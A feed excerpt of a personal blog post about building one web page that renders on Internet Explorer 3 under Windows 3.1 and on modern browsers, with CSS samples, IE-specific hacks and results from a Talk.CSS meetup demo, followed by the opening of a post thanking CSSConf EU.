</content:encoded></item><item><title>Internet Explorer 3, an adventure in cross-browser compatibility</title><link>https://chenhuijing.com/blog/internet-explorer-3-an-adventure-in-compatibility/</link><guid isPermaLink="true">https://chenhuijing.com/blog/internet-explorer-3-an-adventure-in-compatibility/</guid><description>Some of you might know that I run the CSS meetup, Talk.CSS in Singapore together with my best mate, Wei. If you didn&apos;t, you do now. Perhaps you have inferred…</description><pubDate>Wed, 03 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Some of you might know that I run the &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;CSS meetup, Talk.CSS&lt;/a&gt; in Singapore together with my best mate, &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt;. If you didn&apos;t, you do now. Perhaps you have inferred that I really do love CSS. But you know what else I love? The 90s. More specifically, computing in the 90s.&lt;/p&gt;
&lt;p&gt;I &lt;a href=&quot;/blog/reminiscing-the-90s&quot;&gt;wrote about this before&lt;/a&gt;, on how the first computer I remember was a 486 in my living room and how I spent hours playing computer games running on MS-DOS and Windows 3.1. So it was inevitable that I would get on real well with &lt;a href=&quot;http://yeokhengmeng.com/&quot;&gt;Kheng Meng&lt;/a&gt;, retro computing enthusiast and co-organiser of the &lt;a href=&quot;http://www.meetup.com/Hackware/&quot;&gt;Hackware meetup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We had worked together before at the inaugural &lt;a href=&quot;https://supersillyhackathon.sg/&quot;&gt;Super Silly Hackathon&lt;/a&gt; back in 2017 and found out that we &lt;a href=&quot;/blog/hardware-hacks-super-silly-hackathon&quot;&gt;made a pretty good team&lt;/a&gt;. Being a hardware man and not really a web developer, I&apos;ve never had good reason to get Kheng Meng to come for Talk.CSS.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3b-480.jpg 480w, /images/posts/ie3-challenge/ie3b-640.jpg 640w, /images/posts/ie3-challenge/ie3b-960.jpg 960w, /images/posts/ie3-challenge/ie3b-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3b-640.jpg&quot; alt=&quot;Kheng Meng and I at Super Silly Hackathon 2017&quot;&gt;
&lt;p&gt;That changed when I had another one of my many hare-brained schemes. Knowing that Kheng Meng was fully capable of setting up a working version of Windows 3.1, complete with networking capabilities and whatever applicable software I wanted, I asked him to set me up with an original version of Internet Explorer 3.&lt;/p&gt;
&lt;h2&gt;Why Internet Explorer 3&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.kompx.com/en/internet-explorer-3.htm&quot;&gt;Internet Explorer 3&lt;/a&gt; was released on August 13, 1996 and shipped with &lt;a href=&quot;https://winworldpc.com/product/windows-95/osr-2&quot;&gt;Windows 95 OSR 2&lt;/a&gt;. This was pretty much the era of the first browser wars. IE3 is notable for being the first commercial browser that supported Cascading Stylesheets (CSS).&lt;/p&gt;
&lt;p&gt;It was also a major upgrade from IE2, which was essentially &lt;a href=&quot;https://ericsink.com/Browser_Wars.html&quot;&gt;built on the Spyglass Mosaic source code&lt;/a&gt;. There were still portions of Spyglass code in Internet Explorer at this point. This was also when &lt;a href=&quot;https://en.wikipedia.org/wiki/JScript&quot;&gt;JScript&lt;/a&gt; (Microsoft&apos;s implementation of JavaScript) was first supported.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Source: &lt;a href=&quot;https://web.archive.org/web/20190630101029/http://royalmulti.blogspot.com/2012/07/holy-browser-wars.html&quot;&gt;Holy Browser Wars! &lt;/a&gt;&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/ie3-challenge/ie-vs-netscape.jpg&quot; alt=&quot;IE versus Netscape&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Of course, the term “supports“ is a fairly subjective term as I would soon learn. I don&apos;t actually use any JScript or JavaScript in this experiment, but maybe a future iteration will, though I&apos;m not sure if it&apos;ll be quite as fun for me.&lt;/p&gt;
&lt;h2&gt;Self-imposed requirements&lt;/h2&gt;
&lt;p&gt;The point of this experiment was to build a website on a &lt;em&gt;single codebase&lt;/em&gt; that still looks decent on any browser. To be fair, “any“ is a pretty tall order, and so is “decent”, so I put out the disclaimer that this experiment would either end up being spectacular, or fail spectacularly.&lt;/p&gt;
&lt;p&gt;Regardless of end result, I figured it&apos;d be a relatively amusing talk to do at &lt;a href=&quot;https://singaporecss.github.io/39/&quot;&gt;Talk.CSS #39&lt;/a&gt;, and the only shot I had of getting a non-web developer, hardware guy like Kheng Meng to come to the CSS meetup.&lt;/p&gt;
&lt;img src=&quot;/images/posts/ie3-challenge/ie3e.jpg&quot; srcset=&quot;/images/posts/ie3-challenge/ie3e@2x.jpg 2x&quot; alt=&quot;Kheng Meng making sure all his hardware is A-OK&quot;&gt;
&lt;p&gt;Note that there is no desire to make the website look the same in every browser, because that&apos;s missing the point. Personally, I find it fascinating that a single codebase can give you different results in different browsers. I can literally feel the disdain from functional programming aficionados everywhere.&lt;/p&gt;
&lt;p&gt;You say bug, I say feature. Be like water, as Bruce Lee says. &lt;a href=&quot;https://huijing.github.io/slides/43-view-source-2018/&quot;&gt;Applies to web design&lt;/a&gt;, IMHO.&lt;/p&gt;
&lt;h2&gt;Hardware and sysadmin stuff&lt;/h2&gt;
&lt;p&gt;Kheng Meng had &lt;a href=&quot;http://yeokhengmeng.com/2016/09/windows-for-workgroups-3-11-on-vintage-and-modern-hardware-in-2016/&quot;&gt;done this back in 2016&lt;/a&gt; for the Hackware meetup, and that&apos;s where I met him properly for the first time. So I was certain that I&apos;d have a working copy of the original Windows 3.11 with networking capabilities on hand.&lt;/p&gt;
&lt;p&gt;All I needed was for him to install me a copy of Internet Explorer 3. He also never thought he&apos;d see the words “very advanced” used when referring to Internet Explorer 5 in 2019.&lt;/p&gt;
&lt;img src=&quot;/images/posts/ie3-challenge/ie3a.png&quot; srcset=&quot;/images/posts/ie3-challenge/ie3a@2x.png 2x&quot; alt=&quot;Conversation between Kheng Meng and I on IE3 versus IE5&quot;&gt;
&lt;p&gt;Given that we were presenting at Talk.CSS, where all talks would be recorded, the AV setup was a tad more complicated than normal. Just a tad. What&apos;s a few more machines and cables, right?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3d-480.jpg 480w, /images/posts/ie3-challenge/ie3d-640.jpg 640w, /images/posts/ie3-challenge/ie3d-960.jpg 960w, /images/posts/ie3-challenge/ie3d-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3d-640.jpg&quot; alt=&quot;Recording setup involving 3 computers and an excessive amount of cables&quot;&gt;
&lt;p&gt;Contributing to the mess of cables was the not-so-straightforward problem of getting the machine connected to the Internet. The initial attempt of doing it via a PCMCIA/Cardbus network adapter failed because the IBM&apos;s Cardbus slot DOS drivers did not work.&lt;/p&gt;
&lt;p&gt;Time for Plan B. In this case, a Parallel Port network adapter (we used a Xircom Pocket Ethernet PE3-10BT) connected to a Wifi-Ethernet bridge. Sprinkle on some manual DNS configuration and voila, the magic of the Internet.&lt;/p&gt;
&lt;p&gt;There was also the issue of protocols. Even though IE3 supported HTTPS, it uses SSL3, which is sort of a deprecated protocol given its security issues. Anyway, rather than deal with all that certificate stuff, I went with HTTP and hosted my pages on &lt;a href=&quot;https://surge.sh/&quot;&gt;Surge&lt;/a&gt;, where HTTPS is opt-in and not forced.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3c-480.jpg 480w, /images/posts/ie3-challenge/ie3c-640.jpg 640w, /images/posts/ie3-challenge/ie3c-960.jpg 960w, /images/posts/ie3-challenge/ie3c-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3c-640.jpg&quot; alt=&quot;Kheng Meng and I at Super Silly Hackathon 2017&quot;&gt;
&lt;p&gt;Although I refused to check my actual project page on IE3 until the meetup itself, I did throw up a test page just to make sure things could load. It wasn&apos;t pretty, but things worked. In addition to IE3, Kheng Meng tossed in Netscape Navigator 4.08 and Opera 3.62, making it a 90s browser exhibition.&lt;/p&gt;
&lt;h2&gt;The process&lt;/h2&gt;
&lt;p&gt;To be fair, Kheng Meng did offer to loan me the actual machine for testing purposes but because I specialise in doing things that sound like a good idea at the time (except they&apos;re really not), I turned him down. It would be like a &lt;a href=&quot;http://codeinthedark.com/&quot;&gt;Code in the Dark&lt;/a&gt;, except without the shitty EDM music and the stress of a countdown.&lt;/p&gt;
&lt;p&gt;As an aside, little did I know I would end up hosting the Code in the Dark session for &lt;a href=&quot;https://2019.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt;. It had been a long day, I got snarky near the end. Ask me about it, if you want.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/jsconf-480.jpg 480w, /images/posts/ie3-challenge/jsconf-640.jpg 640w, /images/posts/ie3-challenge/jsconf-960.jpg 960w, /images/posts/ie3-challenge/jsconf-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/jsconf-640.jpg&quot; alt=&quot;Hosting Code in the Dark at JSConf.Asia 2019&quot;&gt;
&lt;p&gt;Remember that I wanted a single codebase that would function for the latest Nightly builds all the way back to the browsers of &apos;96. So there was some planning involved, for the design and the resultant markup. I was thinking, nothing too fancy, just a single web page about the project and Internet Explorer 3.&lt;/p&gt;
&lt;p&gt;But I also wanted to use modern CSS effects for the new browsers, like gradients, blend modes and layout models like grid. The challenge was to spruce up the IE3 version as much as I could with what limited CSS was available.&lt;/p&gt;
&lt;h3&gt;Thinking about markup&lt;/h3&gt;
&lt;p&gt;Trust me when I say I almost succumbed to the wiles of HTML tables when dealing with this project. And to be fair, if you &lt;a href=&quot;https://github.com/huijing/ie3-challenge/blob/master/index.html&quot;&gt;look at the code&lt;/a&gt;, I did use a couple HTML tables, simply to test out how I could use modern CSS to modify it.&lt;/p&gt;
&lt;p&gt;It&apos;s definitely not best practice to do it this way, I reckon, but that&apos;s why this is an EXPERIMENT. One of the things I had to figure out was how the browser would react to unsupported HTML elements. My assumption was they&apos;d simply be ignored.&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;https://html.spec.whatwg.org/multipage/custom-elements.html#custom-elements&quot;&gt;the specification&lt;/a&gt;,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;…authors could always use non-standard elements in their documents, with application-specific behavior added after the fact by scripting or similar…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After the fact, I learned that the reason &lt;a href=&quot;https://github.com/aFarkas/html5shiv&quot;&gt;HTML5 Shiv&lt;/a&gt; existed was to deal with legacy versions of Internet Explorer back till IE6. &lt;a href=&quot;https://johnresig.com/&quot;&gt;John Resig&lt;/a&gt; explained that IE doesn&apos;t know how to render CSS &lt;a href=&quot;https://johnresig.com/blog/html5-shiv/&quot;&gt;on elements that it doesn&apos;t recognise&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Upon some digging, I found this post by &lt;a href=&quot;http://w3future.com/weblog/&quot;&gt;Sjoerd Vissche&lt;/a&gt; which explained if you want CSS rules to apply to unknown elements, using&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;document.createElement(elementName);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;would let the CSS engine know about this element.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;br&gt;
&lt;a href=&quot;https://dev.to/alohci&quot;&gt;Nicholas Stimpson&lt;/a&gt; has kindly pointed out that &lt;code&gt;document.createElement(elementName)&lt;/code&gt; changes the HTML parser to recognise the element and add it into the browser&apos;s internal object model.&lt;br&gt;
The fact that the CSS worked on the elements was a consequence of the parsing change. The significant difference being that JS is also able to manipulate the elements created.&lt;/p&gt;
&lt;p&gt;For my case, I&apos;m happy for the legacy browsers to ignore the modern elements so I can leave them alone for the baseline version of the web page.&lt;/p&gt;
&lt;p&gt;There was a failed bit of markup involving conditional comments for IE, which I&apos;m wondering if it&apos;s because I&apos;m using it for the &lt;code&gt;audio&lt;/code&gt; tag or what, but I had to CSS hack that bit instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;amp;lt;!--[if !IE]&amp;gt; --&amp;gt; &amp;amp;lt;audio controls class=&amp;quot;annoying&amp;quot;&amp;gt; &amp;amp;lt;source src=&amp;quot;audio/tetoroika.mp3&amp;quot;
type=&amp;quot;audio/mpeg&amp;quot;&amp;gt; &amp;amp;lt;/audio&amp;gt; &amp;amp;lt;!--
&amp;lt;![endif]--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I still like checking to see how the site looks in &lt;a href=&quot;https://lynx.browser.org/&quot;&gt;Lynx&lt;/a&gt; though.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/lynx-480.png 480w, /images/posts/ie3-challenge/lynx-640.png 640w, /images/posts/ie3-challenge/lynx-960.png 960w, /images/posts/ie3-challenge/lynx-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/lynx-640.png&quot; alt=&quot;IE3 challenge website on Lynx&quot;&gt;
&lt;h3&gt;Thinking about CSS&lt;/h3&gt;
&lt;p&gt;Now this was the meat of the project. The &lt;a href=&quot;https://www.w3.org/TR/REC-CSS1/&quot;&gt;first version of CSS&lt;/a&gt; didn&apos;t give us much to play with. But if that was all there was, life would have been easy.&lt;/p&gt;
&lt;p&gt;No, turns out when IE3 claims to support CSS1, they are using that term rather loosely. Even the W3C &lt;a href=&quot;https://www.w3.org/Style/CSS/msie/&quot;&gt;had additional information&lt;/a&gt; explaining the “holes in the CSS implementation”.&lt;/p&gt;
&lt;p&gt;Braden N. McDaniel published a &lt;a href=&quot;http://endoframe.com/css/ie3.html&quot;&gt;full reference&lt;/a&gt; for authors who wanted to use CSS on their own web pages to be viewed with IE3, because it was truly a hole-y implementation.&lt;/p&gt;
&lt;p&gt;Apparently there was a version of IE3 for the Macintosh as well, and &lt;a href=&quot;https://meyerweb.com/&quot;&gt;Eric Meyer&lt;/a&gt; wrote up &lt;a href=&quot;https://web.archive.org/web/20080126234516/http://www.case.edu/dms/homes/eam3/css1/msie-css1.html&quot;&gt;a similar document&lt;/a&gt; listing which properties are supported and which are not.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Some of the missing functionality includes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;em&lt;/code&gt; values (i.e. length units relative to a font size) are not supported. This is important in order to write style sheets that scale from one resolution to another.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;There is no documented way for users to supply their personal style sheets.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;code&gt;margin&lt;/code&gt; (the compound property) and &lt;code&gt;margin-bottom&lt;/code&gt; are not supported&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;the &lt;code&gt;padding&lt;/code&gt; properties are not supported&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;the &lt;code&gt;border&lt;/code&gt; properties are not supported&lt;/li&gt;
  &lt;li&gt;pseudo-elements are not supported (but pseudo-classes are!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;I also love the bugs like these:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Line spacing is also added to the last line of a formatted element – that’s why there is so much space around the headlines. Spacing should only be added between lines&lt;/li&gt;
  &lt;li&gt;vertical spacing sometimes act weird after lists&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Given these constraints, I chose not to go too crazy and went with a conservative single page design divided up into sections. With &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; elements. Vanilla is also a flavour, my friends.&lt;/p&gt;
&lt;h2&gt;Code overview&lt;/h2&gt;
&lt;p&gt;The whole thing is &lt;a href=&quot;https://github.com/huijing/ie3-challenge&quot;&gt;on GitHub&lt;/a&gt; if you want to take a look. And I&apos;ll just go through some bits that may or may not be interesting. I did not have high hopes for this project, as you can see from some of my commit messages. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Baseline styles&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  color: white;
}

table {
  text-align: center;
  width: 100%;
}

td p,
td li {
  width: 100%;
}

h1 {
  color: purple;
  text-align: center;
}

h2 {
  color: black;
}

img {
  text-align: center;
}

a {
  color: yellow;
}
a:visited {
  color: silver;
}

p,
li {
  font-size: 120%;
  width: 640px;
  margin: 0 auto;
  text-align: left;
}

p span {
  text-align: right;
  color: green;
  font-size: smaller;
}

section &amp;gt; div {
  text-align: center;
}

footer p {
  text-align: center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, no CSS classes. Why not, you might be asking. Because according to the &lt;a href=&quot;http://endoframe.com/css/ie3.html&quot;&gt;Support for Cascading Style Sheets, Level 1&lt;/a&gt; article, “Class as a selector is supported”. But that wasn&apos;t the case for me.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Disclaimer, I did have a Windows 95 VirtualBox instance with IE3 installed, so maybe this isn&apos;t really building blind like you do Code in the Dark. Let&apos;s call it building with severe myopia.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;No matter, a big reason why the design was so vanilla was because I did not want to resort to inline styles, as that would make the CSS for newer browsers really screwed up. Do not &lt;code&gt;!important&lt;/code&gt; all the things. Please. Also, non-supported elements are automatically ignored by the browser (I think).&lt;/p&gt;
&lt;p&gt;This next bit is because Internet Explorer evolved over the years and started getting better at actually supporting CSS, like the &lt;code&gt;display&lt;/code&gt; property. Also, the &lt;code&gt;audio&lt;/code&gt; element came into play by IE9. I had chose to include a &lt;code&gt;&amp;lt;bgsound&amp;gt;&lt;/code&gt; tag as a joke, because if it didn&apos;t work, nobody would know.&lt;/p&gt;
&lt;p&gt;It did.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;bgsound&amp;gt;&lt;/code&gt; is supported in EVERY version of IE. I had added the &lt;code&gt;audio&lt;/code&gt; element for non-IE browsers to recreate some of that background music so many websites of the 90s tended to have. So for IE9–11, I wanted to hide it away and let &lt;code&gt;&amp;lt;bgsound&amp;gt;&lt;/code&gt; work its magic.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media \0screen\, screen\9 {
  .blend {
    display: none;
  }

  .lg-title {
    margin-top: 1em;
  }
}

@media screen and (min-width: 0\0) and (min-resolution: +72dpi) {
  .blend {
    display: none;
  }

  .lg-title {
    margin-top: 1em;
  }

  audio {
    display: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty much most of the rest of the code are wrapped up in &lt;a href=&quot;&quot;&gt;feature queries&lt;/a&gt;. If you&apos;re familiar with the &lt;code&gt;@supports&lt;/code&gt; rule, you might have come across this matrix in some form or another.&lt;/p&gt;
&lt;figure&gt;
    &lt;img src=&quot;/images/posts/opera-mini/matrix.png&quot; srcset=&quot;/images/posts/opera-mini/matrix@2x.png 2x&quot; alt=&quot;Matrix of @supports&quot;/&gt;
    &lt;figcaption&gt;Uni-kitty &amp;copy; Jen Simmons&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;IE11 (and before) falls into the first quadrant when it comes to many of the newer CSS features. This is where you, as the web designer, have to make an executive decision that users of these “in-between” browsers will experience a slightly less fancy version of your website. I don&apos;t think that&apos;s a bad thing.&lt;/p&gt;
&lt;p&gt;Each CSS feature and related styles are in their own &lt;code&gt;@supports&lt;/code&gt; block, because I thought it&apos;d be neater that way. These are just a couple to illustrate what I mean:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (display: contents) {
  table,
  tbody {
    display: contents;
  }
}

@supports (animation-name: pulse) {
  .pulse {
    animation: pulse 3s ease-in-out infinite;
  }

  @keyframes pulse {
    50% {
      color: greenyellow;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The reason for &lt;code&gt;display: contents&lt;/code&gt; was because I wanted to see how much I could un-table-ify HTML tables which were used for layout. Turns out, you sort of can, but again, generally bad practice, don&apos;t do it.&lt;/p&gt;
&lt;h2&gt;The unsightly reveal&lt;/h2&gt;
&lt;p&gt;And here we go. Kheng Meng had stole a peek before the event started and from his expression I knew the end result was BAD. But on the plus side, &lt;code&gt;&amp;lt;bgsound&amp;gt;&lt;/code&gt; worked like a charm. So we kept it on and used it as a “heartbeat” to make sure the computer hadn&apos;t crashed.&lt;/p&gt;
&lt;p&gt;The IE3 version looked TERRIBLE. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt; Okay, specifically the IE3 version on Windows 3.1 looked like a pile of poop. The Windows 95 VirtualBox version looked slightly better somehow. I need to research why that is.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3f-480.jpg 480w, /images/posts/ie3-challenge/ie3f-640.jpg 640w, /images/posts/ie3-challenge/ie3f-960.jpg 960w, /images/posts/ie3-challenge/ie3f-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3f-640.jpg&quot; alt=&quot;IE3 challenge website on IE3 for Windows 3.1 and Windows 95&quot;&gt;
&lt;p&gt;Here&apos;s how the full page looks like for both versions:&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;An utter failure on Win3.1 IE3&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/win31-ie3.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/win31-ie3.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Not thaaat bad on Win95&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/win95-ie3.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/win95-ie3.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The Netscape version did not fare much better. But the Opera version was surprisingly on par with the Windows 95 version. Sort of.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3g-480.jpg 480w, /images/posts/ie3-challenge/ie3g-640.jpg 640w, /images/posts/ie3-challenge/ie3g-960.jpg 960w, /images/posts/ie3-challenge/ie3g-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3g-640.jpg&quot; alt=&quot;IE3 challenge website on Netscape Navigator and Opera for Windows 3.1&quot;&gt;
&lt;p&gt;And the corresponding full pages:&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Another pile of poo on Win3.1 Netscape Navigator&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/win31-nn.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/win31-nn.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Not thaaat bad on Opera though&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/win31-op.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/win31-op.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;And while we&apos;re at it, here&apos;s how it looks on IE11.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Oh yeah, background music…&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/win31-ie11.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/win31-ie11.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;And finally, the “modern browser edition”. It&apos;s just Firefox Nightly, tbh. You can pretty much see for yourself at &lt;a href=&quot;http://ie3-challenge.surge.sh/&quot;&gt;http://ie3-challenge.surge.sh/&lt;/a&gt;. Feel free to play the background track with the audio element on the top right.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ie3-challenge/ie3h-480.jpg 480w, /images/posts/ie3-challenge/ie3h-640.jpg 640w, /images/posts/ie3-challenge/ie3h-960.jpg 960w, /images/posts/ie3-challenge/ie3h-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ie3-challenge/ie3h-640.jpg&quot; alt=&quot;IE3 challenge website on Firefox Nightly&quot;&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;If you made it till this part of the article, wow, thanks. Like, seriously. This project doesn&apos;t benefit your life in any way at all, so I appreciate your time.&lt;/p&gt;
&lt;p&gt;Fun fact, on the day of the talk, my “modern” work computer, which is a 2017 13-inch MacBook Pro, literally died in the middle of the presentation. Twice. &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The IBM Thinkpad 390e worked beautifully from start to finish.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/dVdBD3SQMl4&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;</content:encoded></item><item><title>A thank you and love letter to CSSConf EU</title><link>https://chenhuijing.com/blog/a-thank-you-and-love-letter-to-cssconfeu/</link><guid isPermaLink="true">https://chenhuijing.com/blog/a-thank-you-and-love-letter-to-cssconfeu/</guid><description>One year ago, I got the opportunity to speak at CSSConf EU 2018. I had just started out speaking at events outside my home base of Singapore, and it was my…</description><pubDate>Sun, 02 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One year ago, I got the opportunity to speak at CSSConf EU 2018. I had just started out speaking at events outside my home base of Singapore, and it was my first time in Western Europe ever.&lt;/p&gt;
&lt;p&gt;By some amazing coincidence, I found myself on the same flight to Berlin as &lt;a href=&quot;https://twitter.com/Sareh88&quot;&gt;Sareh Heidari&lt;/a&gt;, whom I had already met when she spoke at &lt;a href=&quot;https://2018.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; earlier that year. And together, we rode into the city from the airport with &lt;a href=&quot;https://twitter.com/whitneyhacks&quot;&gt;Whitney Williams&lt;/a&gt;, who arrived soon after.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cssconfeu/trio-480.jpg 480w, /images/posts/cssconfeu/trio-640.jpg 640w, /images/posts/cssconfeu/trio-960.jpg 960w, /images/posts/cssconfeu/trio-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/trio-640.jpg&quot; alt=&quot;Whitney, myself and Sareh&quot;&gt;
&lt;p&gt;These two wonderful human beings included me in all the things and were incredibly encouraging and supportive during my talk. The vibe at CSSConf EU was incredibly welcoming and supportive.&lt;/p&gt;
&lt;p&gt;I could genuinely feel the audience just rooting for every speaker to do well. And it was still new to me to have people come up to me after my talk and tell me how much they enjoyed it, and that they learned stuff from it. But it was the most incredible feeling.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/cssconfeu/2018-480.jpg 480w, /images/posts/cssconfeu/2018-640.jpg 640w, /images/posts/cssconfeu/2018-960.jpg 960w, /images/posts/cssconfeu/2018-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cssconfeu/2018-640.jpg&quot; alt=&quot;On stage during my talk at CSSConf EU 2018&quot;&gt;
&lt;p&gt;Just being there in Berlin, at CSSConf EU, was one of the most memorable experiences of my life. I met and became friends with so many people. It had been my first time there, but as I walked around the venue, I saw people greet each other like long lost relatives.&lt;/p&gt;
&lt;p&gt;There was just so much love all around. The conference was also the most inclusive environment I had ever been in. I&apos;m not sure if it was a Berlin thing or simply a CSSConf EU thing, but it seemed like everyone came as they were, and that was perfectly okay.&lt;/p&gt;
